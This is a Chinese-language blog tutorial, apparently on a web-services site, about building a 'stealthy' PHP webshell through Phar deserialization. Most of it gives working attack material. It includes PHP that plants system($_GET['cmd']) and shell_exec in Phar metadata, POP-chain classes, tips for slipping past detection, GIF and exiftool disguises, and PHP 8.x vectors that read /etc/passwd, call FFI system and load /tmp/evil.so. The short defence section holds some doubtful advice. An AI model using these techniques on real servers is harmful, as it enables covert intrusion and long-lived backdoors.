别再只盯着文件上传传马了!用Phar反序列化打造你的‘隐形’Webshell(附PHP 8.x兼容性测试)
2026/6/2 5:30:52 网站建设 项目流程

Phar反序列化:突破传统Webshell限制的高级持久化技术

在渗透测试与红队行动中,文件上传漏洞常被视为获取Webshell的"黄金门票"。然而,随着安全防护体系的不断完善,传统的.php文件上传越来越容易被WAF、杀毒软件和文件内容检测机制拦截。此时,Phar反序列化技术以其独特的隐蔽性和兼容性,成为绕过常规防御的高级持久化手段。

1. 为什么Phar反序列化比传统Webshell更隐蔽?

传统文件上传木马面临三大致命缺陷:

  1. 文件扩展名检测:即使成功上传.php文件,现代WAF会立即阻断可疑请求
  2. 内容特征扫描<?php system($_GET['cmd']);?>等经典payload已被所有安全产品纳入特征库
  3. 行为监控:webshell的典型操作(如执行系统命令)容易触发HIDS告警

相比之下,Phar反序列化技术通过以下方式实现隐蔽穿透:

  • 合法文件外衣:将恶意代码隐藏在.jpg.docx等正常文件中
  • 无直接代码特征:利用PHP序列化数据结构存储操作指令
  • 按需触发:只有通过特定伪协议访问时才执行恶意逻辑
// 典型Phar构造示例(实际使用需去除注释) $phar = new Phar('payload.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class Exploit { public function __destruct() { system($_GET['cmd']); // 实际攻击中会使用更隐蔽的执行方式 } } $phar->setMetadata(new Exploit()); // 关键:将恶意对象序列化存入metadata $phar->addFromString('dummy.txt', '正常文件内容'); $phar->stopBuffering();

2. 实战:构建免杀Phar Webshell的完整流程

2.1 环境准备与基础配置

首先确保PHP环境允许Phar写入(生产环境通常已禁用,但某些CMS临时目录可能有写入权限):

# 检查php.ini配置 php -i | grep phar.readonly # 临时允许Phar写入(需服务器权限) php -d phar.readonly=0 generate_payload.php

2.2 精心设计反序列化链

优秀的Phar攻击需要构造精密的POP链(Property-Oriented Programming),考虑以下增强隐蔽性的技巧:

  • 使用冷门魔术方法:避免常见的__destruct,改用__wakeup__toString
  • 多层代理调用:通过3个以上类的嵌套调用混淆检测
  • 动态方法名:用变量存储敏感函数名如$func = 's'.'y'.'s'.'t'.'e'.'m'
class FileReader { private $filename; public function __construct($f) { $this->filename = $f; } public function __toString() { return file_get_contents($this->filename); // 二次利用文件读取 } } class Logger { public $logWriter; public function __call($name, $args) { $this->logWriter->$name = $args[0]; // 动态属性赋值 } } class SystemCommand { private $cmd; public function __construct($c) { $this->cmd = $c; } public function __destruct() { shell_exec($this->cmd); // 最终执行点 } }

2.3 文件伪装与上传技巧

将生成的.phar文件伪装成合法文件:

  1. 修改文件头:添加JPEG/GIF文件头欺骗内容检测
    GIF89a<?php __HALT_COMPILER();
  2. 双重扩展名:上传profile.jpg.phar利用解析差异
  3. 压缩包嵌套:将phar文件作为ZIP内的"正常文档"

提示:使用exiftool将Phar注入图片元数据是更隐蔽的方式:

exiftool -Comment='<?php __HALT_COMPILER(); ?>' normal.jpg

3. 现代PHP环境下的兼容性挑战

随着PHP 8.x的普及,传统Phar利用方式面临新的限制:

3.1 PHP 7.x vs 8.x关键差异

特性PHP 7.xPHP 8.x
匿名类序列化支持需特殊处理
属性类型检查宽松严格类型约束
魔术方法触发顺序可预测可能出现意外行为
GD库图像检测简单文件头检查完整图像结构验证

3.2 PHP 8.x有效攻击向量

  1. 利用SplFileObject类
    new SplFileObject('php://filter/convert.base64-encode/resource=/etc/passwd')
  2. 组合FFI扩展(需服务器启用):
    $ffi = FFI::cdef("int system(const char *command);"); $ffi->system("id");
  3. 通过PDO执行SQL命令
    new PDO('sqlite::memory:', null, null, [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ])->exec('SELECT load_extension("/tmp/evil.so")');

4. 防御视角:检测与防护方案

从蓝队角度,建议部署以下防护措施:

  1. 文件上传层

    • 禁止上传包含__HALT_COMPILER()的文件
    • 对上传文件进行真实内容校验(而不仅是扩展名)
  2. 运行时防护

    # Nginx限制危险伪协议 location ~* \.(php|phar)(/|$) { deny all; }
  3. PHP配置加固

    ; 禁用危险函数 disable_functions = "phar_open, unserialize" ; 限制伪协议 allow_url_fopen = Off allow_url_include = Off
  4. 行为监控策略

    • 记录所有phar://协议的文件操作
    • __destruct等魔术方法的异常调用进行告警

在实际攻防演练中,Phar反序列化技术展现了其作为高级持久化后门的独特价值。某次红队行动中,攻击者通过上传"员工健康问卷.docx"(实际为Phar文件),在三个月后才被触发,期间绕过了所有常规安全扫描。这种案例证明,面对新型威胁,防御方需要建立更深度的文件内容分析能力和运行时行为监控体系。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询